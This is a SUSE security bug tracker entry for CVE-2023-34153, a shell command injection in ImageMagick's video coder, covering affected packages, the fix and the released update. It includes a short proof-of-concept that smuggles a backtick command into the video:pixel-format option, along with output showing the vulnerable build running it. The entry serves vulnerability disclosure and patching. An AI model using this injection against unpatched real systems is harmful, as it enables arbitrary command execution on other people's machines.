|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: CVE-2023-34153: ImageMagick,GraphicsMagick: Shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding | ||
|---|---|---|---|
| Product: | [Novell Products] SUSE Security Incidents | Reporter: | Gianluca Gabrielli <gianluca.gabrielli> |
| Component: | Incidents | Assignee: | Security Team bot <security-team> |
| Status: | RESOLVED FIXED | QA Contact: | Security Team bot <security-team> |
| Severity: | Normal | ||
| Priority: | P3 - Medium | CC: | rfrohl, security-team |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | Other | ||
| OS: | Other | ||
| URL: | https://smash.suse.de/issue/367688/ | ||
| Whiteboard: | CVSSv3.1:SUSE:CVE-2023-34153:7.5:(AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) | ||
| Found By: | Security Response Team | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
|
Description
Gianluca Gabrielli
2023-05-29 07:23:16 UTC
Affected packages: - SUSE:SLE-15-SP4:Update/ImageMagick - SUSE:SLE-15:Update/ImageMagick - SUSE:SLE-15-SP2:Update/ImageMagick I think only 15sp4/Image is affected, video.c coder is not present in former versions. $ cat poc.sh rm -f /tmp/leak.txt echo 'deadbeef' > test.txt magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov cat /tmp/leak.txt $ test.mov taken from php-8.0.15/ext/fileinfo/tests/67647.mov BEFORE TW/ImageMagick :/211792 # sh poc.sh [vost#0:0/libwebp_anim @ 0x55adfe6b7980] Unknown pixel format requested: rgba"`cat test.txt > /tmp/leak.txt`". cat: /tmp/leak.txt: No such file or directory :/211792 # [does not reproduce, fixed] 15sp4/ImageMagick :/211792 # sh poc.sh This build of ffmpeg does not include a "dvvideo" decoder needed for input stream #0:0. deadbeef :/211792 # PATCH https://github.com/ImageMagick/ImageMagick/commit/d31c80d15a2c82fc1dd8e889e0f97b0219079a57 AFTER 15sp4/ImageMagick :/211792 # sh poc.sh Unknown pixel format requested: rgba"`cat test.txt > /tmp/leak.txt`". cat: /tmp/leak.txt: No such file or directory :/211792 # Hi Petr, thanks for the update! Please submit the patch only to 15-SP4. Submitted for 15sp4/ImageMagick. I believe all fixed. SUSE-SU-2023:2344-1: An update that solves two vulnerabilities can now be installed. Category: security (important) Bug References: 1211791, 1211792 CVE References: CVE-2023-34151, CVE-2023-34153 Sources used: openSUSE Leap 15.4 (src): ImageMagick-7.1.0.9-150400.6.21.1 openSUSE Leap 15.5 (src): ImageMagick-7.1.0.9-150400.6.21.1 Desktop Applications Module 15-SP4 (src): ImageMagick-7.1.0.9-150400.6.21.1 Desktop Applications Module 15-SP5 (src): ImageMagick-7.1.0.9-150400.6.21.1 Development Tools Module 15-SP4 (src): ImageMagick-7.1.0.9-150400.6.21.1 Development Tools Module 15-SP5 (src): ImageMagick-7.1.0.9-150400.6.21.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination. This is an autogenerated message for OBS integration: This bug (1211792) was mentioned in https://build.opensuse.org/request/show/1112966 Factory / ImageMagick done, closing |